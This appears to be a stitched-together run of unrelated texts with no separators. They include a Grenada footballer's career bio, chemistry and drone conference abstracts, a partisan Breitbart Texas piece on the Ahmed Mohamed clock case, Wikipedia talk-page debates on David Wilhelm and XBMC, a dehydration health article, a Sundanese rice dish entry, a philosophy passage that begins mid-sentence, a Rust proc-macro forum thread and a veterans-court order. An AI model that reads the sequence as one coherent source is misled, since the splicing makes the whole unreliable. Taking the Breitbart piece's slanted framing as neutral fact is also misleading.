Charles signed a three-year professional contract with Barnet in May 2008 after scoring 20 goals for the Protec U18 side. He made his debut against Brentford on 23 August 2008. In October 2008 he joined Farnborough on an initial one-month loan period. He then joined Lewes on loan in January 2009 along with Kieron St Aimie, scoring on his debut in the FA Trophy against Havant & Waterlooville. He went out on loan for the third time that season in March, joining Hemel Hempstead Town. A fourth loan spell followed in October 2009 when he joined Ebbsfleet United, before another loan spell at Havant & Waterlooville in December. On 21 January 2010, he was released by Barnet and signed for Kettering, who also released him at the end of the season.
In August 2010, Charles signed for Conference South club Dover Athletic alongside Harry Baker, Luke I'Anson and Jackson Ohakam. He was released at the end of the 2010–11 season. In September 2011, he joined Isthmian League Premier Division side Hendon after a spell with Concord Rangers.
In November 2012, Charles joined Conference South club Eastbourne Borough. He ended the season as the club's top scorer scoring 14 goals in all competitions (11 league) in 26 appearances (24 league).
Before the start of the 2013/14 season, Elliott moved along the south coast to join Eastbourne's league rivals Dover Athletic. After a season at Dover, Elliott re-signed for Eastbourne on 21 August 2014.
Charles had stints at Staines Town and Metropolitan Police, before rejoining Hendon in January 2017. After leaving at the end of the season, he joined Hampton & Richmond Borough in December 2017. Although he signed in early December, Charles had to be patient for his first action for The Beavers. He finally made his debut away to Wealdstone on New Year's Day 2018. His first start for Hampton could not have gone any better for Charles with a Hat-Trick in the first 30 minutes.
On 7 September 2018, Charles joined National League side, Braintree Town. After two appearances, he joined Wealdstone the following month. Charles joined Hendon for a third time in January 2019.
International
Charles was called to play for Grenada the 2014 FIFA World Cup qualification – CONCACAF second round. He made two appearances, the first on 2 September 2011 against Belize in the 3–0 home defeat and in the 2–1 away defeat to Saint Vincent and the Grenadines on 18 September.

(148f) Thermodynamically Consistent Adaptation of Scaled Particle Theory to an Arbitrary Equation of State: Hard Sphere Fluid Properties and a New Reference System for Solvation Theories
Authors
Siderius, D. W. - Presenter, Purdue University
Corti, D. S. - Presenter, Purdue University
The determination of the solvation free energy for a solute molecule added to a liquid is typically obtained by using a two step process. The first step is the creation of a molecular-sized cavity in the liquid and the second step is the activation of intermolecular potentials between the solute and liquid molecules. It is well known that the energy cost of forming the molecular-sized cavity is a non-trivial quantity in solvation theories. Hence, rigorous theoretical or semiempirical methods that provide values for the work of cavity formation are of constant interest for use in the prediction of solvation free energies. These methods are often developed by first choosing the hard sphere fluid as the ideal repulsive reference system and then applying an attractive perturbation.
Many theories for predicting the work of cavity formation stem from the Scaled Particle Theory (SPT) of Reiss et al. (J. Chem. Phys., 1959, 31, 369). SPT predicts the work of cavity formation in the hard sphere fluid exactly for cavities smaller than the hard sphere solvent particle and devises an interpolation that spans from small cavity radii to the limit of macroscopic size. The interpolation is based on a number of exact conditions imposed by geometry and thermodynamics and results in an equation of state (EOS). Accurate forms of SPT are achieved when many of the exact conditions are used, but the higher forms of SPT are numerically complex. Simple and relatively accurate methods for predicting the work of cavity formation have been developed by introducing interpolations based on the very accurate Carnahan-Starling EOS along with consistency conditions in a pseudo-SPT form (Matyushov and Ladanyi, J. Chem. Phys., 1997, 107, 5815 and Jiuxun, Chin. J. Chem. Phys., 1999, 12, 427). Neither of these methods, however, is truly thermodynamically consistent, resulting in a cavity function that suffers at small cavity size.
We therefore present a simple method of calculating the work of cavity formation in a SPT framework by adapting the interpolation method to an arbitrary EOS. In addition to incorporating several exact conditions of SPT, the interpolation utilizes both the pressure and chemical potential of the hard sphere fluid as provided by the particular EOS, and so is now thermodynamically consistent. This new interpolation method provides very accurate predictions for the work of cavity formation and hard sphere interfacial properties when any of the known accurate hard sphere equations of state are used. The recently obtained exact SPT conditions of Heying and Corti (J. Phys. Chem. B, 2004, 108, 19756) also enable our method to generate predictions of the slope and curvature of the hard sphere radial distribution function at contact. This structural information provides another test of the usefulness of future equations of state. The adaptation of SPT can also serve as a reference system for perturbation theories of solute dissolution. We explore the use of SPT in various perturbation theories that provide solvation free energies in square-well and Lennard-Jones liquids.

DronIce: Using Drones to Support Icebreaker Operations in the Baltic Sea

Abstract
The Baltic Sea has a seasonal ice cover, which begins to form in October – November and the last pieces of ice melts away by the beginning of June in the northern Bay of Bothnia. Maritime transportation around the year is essential for the society – and there are many factories situated along the northern coast of the Baltic Sea. Specially built ships - the icebreakers - are part of the Baltic winter navigation system that enables merchant ships to visit northern ports also in wintertime. The icebreakers get Sentinel-1 images in near-real-time and these images are visualized in their IBNet information system. On a larger scale, the ice conditions can be assessed from the satellite images, but ice drift and ambiguities in the interpretation are best resolved by airborne imagery. Previously, manned helicopters were used for ice reconnaissance, but today these are considered too expensive to operate. The assumption is that UAV:s can provide the icebreakers with up-to-date information on: - position of navigable leads and registration of leads that are not usable anymore due to ice convergence - status of old leads- ice drift (amount and velocity) to provide an update of the situation compared to the latest satellite image - finding best way through a ridged ice field.- inspection of nearby ships that report of problems or request aid. However, these needs have not been systematically documented nor evaluated. The capabilities of modern UAV:s and instruments also have to be studied as well as processing needs to extract meaningful information to the users helping them in their operations. To shed some light upon these questions, VTT is contracted by the maritime authorities in Sweden and Finland, to conduct a feasibility study where the use of UAV:s to support icebreaker operations, is studied in detail. This study is done in 2019. The methodology is based on interviews and workshops. Also a simple proof-of-concept trial will be done as part of the study.The poster will show the preliminary results of the study answering the following type of questions User related: In which scenarios could a drone provide additional useful information - and for what purpose? How should it be presented? Should it be combined with other information and how? Should this information be shared? With whom? Technical capabilities: What kind of sensors (e.g. cameras, ..) , what kind of UAV:s would be required – what are the options and rough costs. What communication capabilities are required?Operational aspects: Safety, operational arrangements, operator support, regulations Roadmap: What is the long term roadmap including the suggested next steps regarding the utilization ofUAV:s in icebreaking operations?

AP Echoes Breitbart Texas, Says Zero Tolerance Policies Behind 'Clock Boy' Ahmed's Woes
Unexpectedly, the Associated Press (AP) named zero tolerance policies, not Islamophobia, as the reason for Texas teen Ahmed Mohamed's recent clock-making woes, which echoes exactly what Breitbart Texas first reported in mid-September. AP's declaration came over a month after the story broke about the 14-year-old's arrest and subsequent three-day high school suspension from Irving ISD for bringing in a homemade suitcase clock that resembled a bomb. Ahmed's suspension…reflects the rigid disciplinary policies that many U.S. schools adopted in the 1990s, AP stated. Breitbart Texas reported zero tolerance, not Islamophobia or racism, as behind the clockmaker's arrest and subsequent suspension, also reporting multiple times on the impact of zero tolerance-based policies as the Ahmed Mohamed story unfolded, also illustrating how the Irving teen stood among a long list of other public school students from around the country who inadvertinently terrorized school authorities with poptart guns, Nerf guns, Lego guns, pointed pow pow finger guns, a Hello Kitty bubble gun, and even a plastic cap gun, Another Texas teen learned that even doing the right thing can go wrong in zero tolerance times. He got suspended for intervening when bullies roughed up a special needs boy last year. Still, a relentless liberal media pushed a hard Islamophobia narrative, ignoring these zero tolerance policies and other safe school act measures. AP noted this led to widespread ridicule of school officials and accusations that Islamophobia may have played a part. CNN, Daily Kos, Vox, Slate, and Mother Jones are only a few of many that grabbed their #IStandWithAhmed memes and cried, Islamophobia. The Washington Post trashed Irving Mayor Beth Van Duyne for supporting the concept of American laws in American courts. Even Media Matters dismissed this reporter for blaming the 14-year-old's problems at school on the Irving ISD Student Code of Conduct. That handbook, however, sets the rules and regulations for acceptable behavior and is predicated on the 1995 Texas Safe Schools Act and Chapter 37 of the Texas Education Code, which define and address consequences to perceived misbehavior including threats and hoaxes. The Student Code of Conduct was as pertinent to a Texas 4th grader who school authorities accused of terrorizing other students with a Lord of the Rings pretend magic ring it was to Ahmed Mohamed. At the Sept. 16 press conference after Mohamed's arrest, Irving school district officials cited the Student Code of Conduct handbook as their guiding resource. Furthermore, zero tolerance is the backbone of federal safe schools and threat assessment plans which came in response to Columbine (1999) and later Sandy Hook (2012). The resulting Safe School Initiative, a project of the US Department of Education and the US Secret Service, intended to prevent school shootings. It influenced rigid disciplinary policies, some that started under Title IV of the Clinton administration's Improving America's Schools Act of 1994, part of Goals 2000, which later emerged as Democrat Senator Ted Kennedy's brainchild, No Child Left Behind Act, which was signed into law by President George W. Bush. Interestingly, AP dropped the term Islamophobia from their official style guide in 2012 because of the word's wrongful implication tying prejudice to phobia, an irrational fear or mental illness. Yet, the Islamophobia narrative lives on. The news organization folded its zero tolerance revelation into an article on schools seeking alternatives to suspension, opening another can of worms restorative justice. These mental health based education reform programs like the U.S. Education Department's Rethinking Discipline, detailed in the Resource Guide for Improving School Climate and Discipline, spawned out of programs like Rethinking Schools from 1960's radicals Bill Ayers and Bernadine Dorne, introduced in 2000 as an alternative to the school-to-prison pipeline.

Talk:David Wilhelm
Untitled
ooookay, these links seem mighty suspect, and basically advertising, as far as I can tell, and as such should be deleted. Oh, David Wilhelm, serving the forgotten. What does that have to do with his chairmanship of the DNC??Blondlieut 04:52, 3 March 2006 (UTC)
Disagreement?
On the NPOV page, it says the "salient point" for whether something violates NPOV "is that one side sc— who cares enough to be making the point — thinks that the article says something that other people would want to disagree with." I don't see anything here that one can disagree with...
* I concur. I don't see anything particularly controversial or non-NPOV. Mistamagic28 16:21, 31 March 2006 (UTC)
Removed NPOV issue
I made some edits that balance the concerns you raise. The links to his websites are gone.
To Editor <IP_ADDRESS>
I must say many of your edits strike me as coming from some sort of axe-grinder. Perhaps you could create an account? I'm especially puzzled by the placement of "The numerous political failures..." clause inside of the politics segment. Why is this relevant? Please explain, and segue it appropriately. I may elect to delete it, barring your elaboration. JGray 21:09, 5 September 2006 (UTC)
* Ok, I acknowledge the effort, and thank you for it as a great start. However, when I read this paragraph I still think it sounds like Mr. Wilhelm himself (ahem...or someone near him) is trying to deflect criticism that isn't explicitly mentioned. As such it still may be a NPOV/scope issue. After all, couldn't a case be made that 1994 was merely the traditional rebalancing of the Legis. and Exec. branches by a vigilant electorate? I believe the article is more honest for all parties involved, in particular Wilhelm, if everything from "Still..." onward is deleted and the remaining sentence merged into the previous paragraph. This maintains focus and scope on Mr. Wilhelm without tangents to wider inter- and intraparty (read: dicey) considerations. (Side Note: Do you feel the Oct. 3 edit by Hot_L_Baltimore (The Christian/Methodist distinction) is appropriate? I see your 8/22 edit as cleaner.) JGray 08:16, 26 October 2006 (UTC)

Dehydration: What It Is and How to Avoid It!
dehydration
dehydrationDehydration is simple to understand—it occurs when a person does not take in enough water to replace what’s been lost throughout the day.
The causes of dehydration can be as simple as forgetting to drink because the day is so busy or sweating because the day is hot or you’ve been exercising. Illness can also be a factor, such as when you are running a fever or suffering from diarrhea or vomiting. Even a small change such as a sore throat can mean we don’t take in the fluids we need.
Dehydration can occur with more serious problems, such as undiagnosed or uncontrolled diabetes because it causes you to urinate more frequently. Medications like diuretics, water pills, or drugs to control blood pressure can also cause the body to lose fluids through urination or perspiration.
Age increases the risk of dehydration because the body’s ability to conserve water is reduced, the thirst sense becomes less acute, and sometimes we forget to eat or drink since our body isn’t craving fluids.
There are generally two types of symptoms associated with dehydration: mild to moderate and severe.
Mild to Moderate Dehydration Symptoms
Your mouth might feel dry or sticky and you might feel tired. A decreased urine output or constipation are also symptoms as are headaches. If you feel light headed or dizzy when you change position, you may be a little dehydrated.
Severe Dehydration Symptoms
These symptoms are indications of a medical emergency and should be addressed immediately: extreme thirst, very dry mouth, skin and mucous membranes, little or no urination or urine is darker than normal, sunken eyes, skin that doesn’t “bounce back” when you squeeze it, white finger tips that don’t return to a pink color after someone presses the fingertip, low blood pressure, rapid heartbeat, rapid breathing, fever, delirium or unconsciousness.
If you think you’re dehydrated, the best thing to do is drink fluids. Water and sports drinks should set you right in a very short time.
However, if you have medical issues or are suffering from a chronic disease, call the doctor right away, especially if you have severe diarrhea, bloody or black stool, can’t keep fluids down, or are irritable/disoriented.
Your doctor will want to know what’s happened to you so writing a list of your symptoms can be very helpful. Include notes about changes in your diet or exercise and the medications you’re taking, including over the counter medicine.
Treatment is usually focused on drinking water or liquids other than fruit juices, carbonated beverages or coffee, which can make diarrhea worse. Extreme cases of dehydration often respond well to an IV of fluids and do not require hospital admission.
Of course, an ounce of prevention is always worth a pound of cure. Drink when you feel thirsty and always drink during exercise without waiting to feel thirsty. Remember that you will need more water when the weather is warm and you tend to sweat more. Stick to shade or cool indoor areas.
Always remember to ask for help when you need it. Home health care agencies like Atrinity Home Health want to be there for you and are happy to answer questions when you’re not feeling well.

Remove Stub?
This page is pretty extensive. What additions are required? Should the stub be removed? <IP_ADDRESS> 17:40, 13 January 2007 (UTC):
* Which stub/stubs? ...compare to MPlayer or Xine?
Requests for article expansion:
* General cleanup is needed
* More screenshots are needed, different skins with comments/explaination. See sources:
* http://xbmc.org
* http://sourceforge.net/projects/xboxmediacenter
* This article on XBMC is currently (as of Mars 2007) been rated as start-Class on the Wikipedia assessment scale. This means that even though the article has much good content it still needs to be expanded. Substantial/major editing is needed, most material for a complete article needs to be added. This article still needs to be completed, so an article cleanup tag is inappropriate at this stage.
* To sum up the readers should not need to actively find additional sources of information.
* Multiple subheadings that indicate material that could be added to complete the article.
* See the real analysis from November 2006 for more information.
I added/rearragned stuff into headings and I added some screenshots. I was in a hurry and didn't create my own screenshots... someone should replace mine with ones not suffuring from copyright problems (read picture copyright info.) Some had movie poster, etc. that could be replaced with screenshots that would be GFDL (one is already). Here is some input on skins... I would not include skins that are pre 2.0.1, I used Team Blackbolt skins and ones in the Sourceforge XBMC skinning project. I am going to re-read this article and add more info in a mintue. <IP_ADDRESS> 16:14, 6 April 2007 (UTC)
Article objectivity questioned in the past?
I tagged this article NPOV because it sounds more like a promo sheet for the program than a true article. I'd fix it myself, but I don't have the time at the moment, so I'm tagging it and I'll get back to it later if someone else doesn't. Night Gyr 23:21, 7 December 2005 (UTC)
* I changed some of the wording in the first paragraph. In reading that page and your comments, I changed some of the first paragraph to hopefully straighten it out and make it more neutral. I am not a writer of this program, just a user... dp
* Yeah, I just looked at the changes and allthough it was not to bad it is definetly more neutral now. Jagged Tooth 00:41, 20 December 2005 (GMT +10)
* It been changed now to not brag as much and limitation/legal issues been added, but know that the article only did/does read like a promo sheet because XBMC IS THAT GOOD!!! I'm biast because I'm an official member of The XBMC Project but IT REALLY IS A TRUE KILLER APP, JUST TRY IT! Gamester17 17:05, 2 February 2007 (GMT +1)
* Yes, it really is that good. One way to look at it is the worlds best dvd player and an extremely capable media extender. And it's all free, so the creators have nothing else in mind other than the users pleasure. I'm sure if they could manufacture their own xboxes that having a XBMC under your tv would cost around 1000 dollars, and it would be worth it. Well, a few years ago anyway, these days lacking high def support would kill it, but then I guess they would choose a faster cpu. JayKeaton 07:23, 9 May 2007 (UTC)
Minor correction concerning Theora
There is one minor bug in the list of supported video formats: Theora is listed as supported, when in fact it is not. For verification of this data, see for example the discussion on the XBMC forums: http://www.xboxmediacenter.com/forum/showthread.php?t=21776
(Or you could try and play Theora on your own XBMC)

Needs to be rewritten
The article needs to be rewritten, as XBMC is no longer solely Xbox software. It should be condensed and split up where necessary to denote features relative to the Xbox and Linux versions. The page is also notably lacking a history section. ♠ SG →Talk 05:53, 9 October 2007 (UTC)

* It seems kind of obvious to you that the Xbox Media Center doesn't work on one of the Xbox consoles? And you think that one of the Xbox consoles (360) compares to toaster ovens and wrist watches (I am assuming that is what you are getting at by "about 200 things")? And you really can't see how noting that Xbox Media Center doesn't work on the successor to the original xbox... you REALLY can't see how that is relevant or important!?!

* I do not see the need any more to specifially say that XBMC for not work on the Xbox 360, if so then the article also need to state that is not meant for the Ninitendo Wii or the PS3 (though I would not be supprised if someone ported XBMC to the PS3 within a year from now, as soon as the Gallium3D device-drivers for it supports OpenGL 3D as that is what XBMC needs). The reason for this is tha XBMC have now been formally renamed from XBox Media Center to XBMC (see the new xbmc.org website), and the wiki article now specificly states that XBMC for Xbox is only for the original Xbox, and that it is cross-platform for Linux, Mac OS X, and Microsoft Windows operating-systems as well. <IP_ADDRESS> (talk) 10:21, 8 March 2008 (UTC)

XBMC4Xbox header
It doesn't seem necessary to include the header about the XBMC4Xbox project. There is already a section for information about derivative projects of XBMC on this page. Furthermore, the header is misleading, indicating that XBMC runs on all hardware except Xbox when in fact, there are a number of other hardware where no known ports of XBMC are being worked on. For example, there are no known ports of XBMC for the Microsoft Xbox 360, the Nintendo Wii, or the Sony PS3. Rather than specifying the many hardware XBMC does not run on, it should be enough to include information about any projects working on porting XBMC to different hardware in the XBMC derivatives section of this page.

LGPL
"After beta 6 was completed there were complaints from a lot of people as to why the developers did not release the source code for the player sooner as they were using FFmpeg and XVID code which are under the (L)GPL license."
INAL, but as far as I understand, as long as whatever program isn't publicly released (i.e. "behind closed doors"), the source code doesn't have to be shared.
--<IP_ADDRESS> (talk) 14:04, 19 May 2008 (UTC)
This is correct. As long as it isn't sold it doesn't have to be released. In fact it only has to ever be released to the people who bought it as well. —Preceding unsigned comment added by <IP_ADDRESS> (talk) 20:31, 17 February 2009 (UTC)
This does not even apply to XBMC but to XBMP which was the predecessor to XBMC, XBMC was written from scratch <IP_ADDRESS> (talk) —Preceding undated comment added 14:07, 22 July 2009 (UTC).
This "complaint" would apply to XBMC if they withheld code. "Written from scratch" is misleading, XBMC and DVDPlayer is based on ffmpeg, and other open source libraries. — Preceding unsigned comment added by <IP_ADDRESS> (talk) 08:09, 21 October 2011 (UTC)
Retaining the information about forks that Jtalledo deleted in his clean up
Jtalledo indiscriminately deleted so much information gathered over the years, that I at least should be the information about the forks here in the talk page, thus the validity can be checked and sourced elsewhere if needed and the information about those forks that are now not even mentioned at all in the XBMC article or anywhere else on wikipedia for that matter. <IP_ADDRESS> (talk) 12:42, 10 April 2012 (UTC)
* I resent calling these deletions "indiscriminate". There was nothing indiscriminate about them, see the above post. I have cogent rationale for my deletions. Wikipedia is not an indiscriminate collection of information. It is poor style to lump information inelegantly and so poorly sourced. --Jtalledo (talk) 22:30, 10 April 2012 (UTC)
* Moved the content to List of software based on XBMC, as proposed above. Highly recommend assuming good faith. :/ --Jtalledo (talk) 23:12, 10 April 2012 (UTC)
* Thanks for creating List of software based on XBMC. I meant no offense. <IP_ADDRESS> (talk) 11:13, 11 April 2012 (UTC)

Clean up
This is article is quite messy, which is why I deleted a lot of content. In short, it seems like everything and anything anybody could think of related to XBMC was lumped into a heaping mess. Normally I don't like deleting content, but there was way too much here that poorly sourced and unremarkable - taking the focus off of XBMC itself. The detailed Features and History could be forked into their own article with an abbreviated version in this article. Maybe the derivative software too. As for all the other details, you might be able to transfer some of the details to an external wiki dedicated to XBMC. --Jtalledo (talk) 12:23, 10 April 2012 (UTC)
* Most of it relies on primary sources, such as the XBMC website and forum posts
* There's a large amount of technical information that would be of little interest to a general audience
* Bizarrely, a lot of statements are followed by a ridiculous number of citations, some of which aren't reliable
* It also suffers from the worst Citation overkill I've ever seen. Three references supporting a single statement is pushing it; a sentence does not need 15 references supporting the information (as seen in the Derivatives section supporting the word "MeeGo"). This article is in need of some serious reference pruning. When I get some more time I'll trim these down to the strongest sources. - SudoGhost 22:18, 21 April 2012 (UTC)
* Good idea. I didn't do much of that since it would take a while to weed out the lesser references without breaking citations elsewhere in the article. --Jtalledo (talk) 01:04, 22 April 2012 (UTC)
Meaning of name
XBMC stood for Xbox Media Center in the Xbox days. Surprised this wasn't already mentioned! --<IP_ADDRESS> (talk) 08:11, 26 August 2012 (UTC)
* It does, at the beginning of the Overview section: XBMC (which has officially been rebranded to simply "XBMC" from its previous old name; "Xbox Media Center") - SudoGhost 08:13, 26 August 2012 (UTC)
Unsourced comments about Plex
This sentence is problematic, "Some Team-XBMC members are still quite vocal in the XBMC community forums about the fact that they still think that Plex developers continue to be on the border of violating the GPL and other open source licenses, not to mention that they often feel that Plex developers are violating the spirit and innate essence of open source software development when they do so." This conveys legal opinions about the behavior of living people with no source (reliable or not). For this to remain, we'd need a reliable source per WP:RS. It's boderline violating the spirit of WP:BLP in that a key Plex developer is mentioned at the start of the section, to be followed by this unsourced critique.Mattnad (talk) 17:42, 2 December 2011 (UTC)
* A little late to reply to this, but it should be removed for being original research (as it was there), but not because of the BLP. That's painfully stretching BLP, not borderline. It's a fact that some Team XBMC members have stated (in interviews that would satisfy sourcing requirements) that they feel that way about Plex developers. It's the main reason there was a falling out between the two groups.
* Full disclosure, I'm a member of Team XBMC, though I was not around during the days when Elan was apart of Team XBMC or for the split. Really, the only reason I'm even replying to this has nothing to do with it being Plex, but rather, the application of BLP in a situation that BLP does not realistically apply. -- Ned Scott 04:55, 9 December 2012 (UTC)

Google searches
The following is moved from my talk page.
Hi. You wrote that you have added my revision into another location. I can imagine the right place in the article, as if you surely know it very well: it is at the end of the article. I think it must be added the notice about word BitTorrent banned out of the autocomplete feature, because it was not a single event, but as it has been repeated twice or more times, it has started a new political line of Google search. It is not NPOV to conceal about it.
Thank you for noticing me about the right format of tha dates, useful for my next updates.Micheledisaverio (talk) 16:35, 2 April 2018 (UTC)
* The short entry in the "use for illegal streaming" is more than sufficient coverage of this minor event. Google has not removed Kodi searches entirely, just auto complete. Having a lengthy entry (almost a short essay or WP:SOAPBOX) in the "native applications" is unnecessary. Walter Görlitz (talk) 17:31, 2 April 2018 (UTC)
* Good evening. I don't think so. Only one short sentence about the word "Bit Torrent" banned out of the autocomplete, it is not a WP:SOAPBOX. Autocomplete feature is a primary source of informations, because many people simply follow the results suggested by Google Search, believing that they are a pure statistic, and not filtered by a black-list.
* Two or more such words removed by Google Search autocomplete means that there exists a company policy against the possibile infringement of the copyright law. This policy it is not talked about in the article about Google Search, which now is incomplete (or not NPOV) as it explains filtered words only about ''pornography, violence, and hate speech.' Not for the copyright law.Micheledisaverio (talk) 19:39, 2 April 2018 (UTC)
* The SOAPBOX is the unnecessary exposition of Google's policy.
* If you want to discuss a Google policy, feel free to discuss that on the Google page, not on an article about this software. And again, the reference discusses the theory so we don't have to. Walter Görlitz (talk) 20:17, 2 April 2018 (UTC)

Nasi tutug oncom
Nasi tutug oncom or sometimes simply called tutug oncom, is an Indonesian style rice dish, made of rice mixed with oncom fermented beans, originally from Tasikmalaya, West Java. It is usually wrapped in banana leaves and served with various side dishes.
Nasi tutug oncom is a Sundanese dish, quite popular in most of cities in West Java, especially Bandung and Tasikmalaya, and also in Greater Jakarta area.
Etymology
Nasi is common Indonesian term for rice, while tutug in Sundanese means "mashed", "mixed" or "pulverized", and oncom is fermented beans cake akin to tempeh, but made from different fungi. Therefore, the name describe a rice dish that was mixed with mashed oncom.
Origin and history
The exact origin of nasi tutug oncom was not clear. However, it has been staples for breakfast among Sundanese population for generations. According to some circles, since the 1940s nasi tutug oncom has been served as a simple, cheap and quite satisfying breakfast. During that time Indonesians endured hardships due to the outbreak of the Pacific War and Indonesian war of independence, thus oncom was a simple and cheap source of nutrients. Initially, the oncom was lightly roasted added with salt, without any seasonings, and consumed with steamed rice. Then for practical reasons, the roasted oncom was mashed together with rice, and then wrapped in banana leaf.
This modest background had led to an image in the past that nasi tutug oncom was a food for poors. Nevertheless, the savoury flavour of the rice mixed with roasted oncom fermented beans had led to the popularity of this rice mix; started in Eastern Priangan region to Bandung, to Jakarta, and then to the rest of Indonesia. Particularly today, after this oncom rice had elevated its status; being served with assorted choices of savoury side dishes to make it more satisfying and nutritionally balanced.
Since 2019, nasi tutug oncom is served in Garuda Indonesia in-flight meal in its domestic routes, along with the choices of nasi goreng spesial (special fried rice), lontong sate ayam (chicken satay with rice cakes), and nasi ulam (rice cooked with herbs).
Ingredients
The bumbu spice mixture used in this dish are shallot, garlic, red chili pepper, kencur (a kind of galangal) and salt, all are pulverized into a paste, stir fried in cooking oil, add with roasted oncom fermented beans, mixed with steamed rice, then wrapped in banana leaf, and sprinkled with crispy fried shallots.
Side dishes
Nasi tutug oncom is usually wrapped in banana leaf and served with a choice of side dishes, of which Indonesian traditional fried chicken ayam goreng is a popular one. This method of serving is quite similar to other Indonesian fragrant dish nasi uduk that is also consumed with an array of protein sources.
It may be served with chicken either fried as ayam goreng or grilled as ayam bakar, salted fish, fried tofu and tempeh, sunny-side fried egg, lalab vegetables; usually slices of cucumber and tomato with lemon basil leaf, krupuk crackers, and also sambal chili paste as a hot and spicy relish.

sacrifice of purification, having reference to a specific defilement. From the point of view which we are considering, sin, in the strict sense, has not been committed; the special sacrifices of purification group themselves round all finite action generally. They represent no repentance, no punishment; they have no spiritual change as their aim, and they do not involve the endurance of any kind of loss or damage. It is not considered that a man has done some evil deed for which he must endure an evil in return. All such categories as those just mentioned would include the idea of a justification of the subject; but that is an idea which does not as yet in any sense enter in here. From our standpoint, such sacrifices would be regarded as losses, since something we possess is relinquished by means of them. Such a view is meanwhile wholly absent from the minds of those who occupy the standpoint above referred to; their sacrifice is, on the contrary, essentially symbolical. A defilement has occurred, and this must be got rid of in a similarly immediate manner. The subject, however, cannot make what has happened into something which has not happened, nor can it repent that it has acted as it did. For this reason there must necessarily be an exchange or substitution, and something must be relinquished other than that existence which was really in question. What is offered up may be much more insignificant as regards intrinsic value than what I receive, what I have acquired for myself. Thus I actually take possession of the harvest which I have won, of the animal which I have slaughtered, and then if it is to be shown that I do not seriously take this possession as mine, this is done in a symbolical manner. It is not as if what I do ought not to take place, for such actions are necessary; through the act of sacrifice it is only this becoming finite generally, this independent existence of mine which is once more annulled.

Is it possible to procedurally create a proc macro?
This question made me wonder if it is possible to write a proc-macro that creates a proc-macro. Imagine the following pseudocode:
set_common_derive!(serde::Serialize, serde::Deserialize, Default, Debug, PartialEq);
// This should create the `proc-macro-attribute` `common_derives`
#[common_derives]
struct X { ... }
If my understandings are correct, this should not be possible because when the set_common_derive macro is used, the compiler already loaded all the possible plugins from proc-macro crates. Moreover, the generated code should be placed in a proc-macro crate.
Because procedural codegen is not enough! We want to generate procedural codegen code! At the end of the abstraction there is a beautiful empty executable, everything is done at compile time! :sweat_smile:

Exactly.
It may be possible to do this with some “hackery”, though, if the first call is in build.rs, which would generate an ephemeral proc-macro crate (e.g. in target/generated-proc-macros/...); and then the attribute would be usable in the main Rust code, provided the Cargo.toml had something like
[dependencies]
generated-proc-macros = { path = "target/generated-proc-macros" }
2 Likes
That question had me asking myself the same thing!
I know it’s possible to create a macro_rules! macro from inside another macro_rules! macro (example), but I can imagine there might be times where you need to “abstract” over a function_style!() or #[attribute] proc macro.
In the meantime, would proc macros generating macro_rules! macros which generate Rust code be enough codegen to satisfy you?
2 Likes
I think that for my insane curiosity, that would be enough :grin:.
Talking seriously, for now the only limits I find with real problems is simply related to proc-macro-hygene. Rust macros are so powerful that I am more than happy for now – I’ll search for some convoluted recursive codegen approach in the future, maybe :wink:
I can think of one way to implement a #[common_derives] feature.
In the crate root (or some other “well known” location):
set_common_derive!(serde::Serialize, serde::Deserialize, Default, Debug, PartialEq);
// expands to
macro_rules! __apply_common_derives {
($( $tokens:tt )*) => {
#[derive(serde::Serialize, serde::Deserialize, Default, Debug, PartialEq)]
$( $tokens )*
}
}
Then adding the #[common_derives] attribute to a type would expand to something like this:
$crate::__apply_common_derives! {
struct X { ... }
}
My __apply_common_derives!() macro might need some tweaking because I’m not sure if you can prepend attributes to an arbitrary tt, but it should be possible on stable rust.
That said, the idea is pretty much a hack to solve something which isn’t really a problem :sweat_smile:

Needless to say: :heart::heart::heart:

The answer to the root question is “sort of”. It’s very possible to use a procedural macro from within a procedural macro crate.
But yes, it’s not possible to, from within a regular crate, call a macro that causes a procedural macro to be defined.
(Functionlike proc-macro also isn’t currently allowed to emit a macro_rules def, but derive proc-macro are, so a functionlike that wants to emit a macro_rules must shim through a derive.)
There’s plenty of loopy codegen techniques available today, I think keeping the loading of proc-macros “sane” is a good idea.

Abstract
INTRODUCTION: Fluid intake during exercise is a very important aspect to both health and performance of an athlete. It is known that during exercise, an increase in exercise intensity causes an increase in HR, breathing rate, VO2(L/min), and other physiologic variables. The body must rid itself of heat that builds up due to the breakdown of energy providers such as glycogen, protein, fat, and blood glucose and muscle contraction. Body temperature is another variable that is affected by increase in exercise, but proper hydration helps aid the body in getting rid of excess heat and helps return the body to homeostasis. During exercise, it is recommended that an athlete intake fluids and it makes sense to drink cold fluids to dissipate heat, and this is what most athletes prefer.

Wilson J. AUSMER, Jr., Appellant, v. Eric K. SHINSEKI, Secretary of Veterans Affairs, Appellee.
No. 13-85.
United States Court of Appeals for Veterans Claims.
Dec. 19, 2013.
Before KASOLD, Chief Judge, and SCHOELEN and GREENBERG, Judges.
ORDER
PER CURIAM:
The appellant, Lieutenant Colonel Wilson J. Ausmer, Jr., appeals an October 25, 2011, Board of Veterans’ Appeals (Board) decision that reopened his previously denied claim for disability compensation for bilateral foot disorders, but denied the claim on the merits. The Court received the appellant’s Notice of Appeal (NOA) on January 7, 2013, more than 120 days after the date on which the Board mailed notice of its decision. See 38 U.S.C. § 7266(a) (NOA must be filed with the Court within 120 days after notice of the Board decision). This matter was referred to a panel for decision, with oral argument, to address an issue of first impression, namely: Whether the Service-members Civil Relief Act of 2003 (SCRA), 50 U.S.C. app. §§ 501-597b, applies to proceedings at this Court and to what extent the time to file an NOA at the Court may be tolled when the Board issues an adverse decision during a servicemember’s active military service.
For the reasons discussed below, the Court holds that the SCRA applies generally to proceedings at the Court, and further holds that section 526 of the SCRA automatically tolls the judicial appeal period during a servicemember’s active military service. The Court also holds, under the circumstances of this case, that the appellant is entitled to an additional 90-day stay pursuant to sections 524 and 525 of the SCRA, after his service terminated, before the appeal period commenced. Accordingly, the Court finds that the appellant’s NOA was timely filed with the Court.
I. BACKGROUND
The appellant, a decorated U.S. Army veteran, honorably served stateside in Operation Desert Storm, in Iraq during Operation Iraqi Freedom, and in Afghanistan and Qatar during Operation Enduring Freedom. In 2005, he was awarded VA disability compensation for diseases and injuries incurred during military service, including post-traumatic stress disorder (PTSD) with dysthymia, degenerative disc disease, tinnitus, headaches, and left leg radiculopathy. In January 2010, the appellant’s combined disability rating for his service-connected disabilities was increased to 60%, which included a 30% disability rating for PTSD with dysthymia.
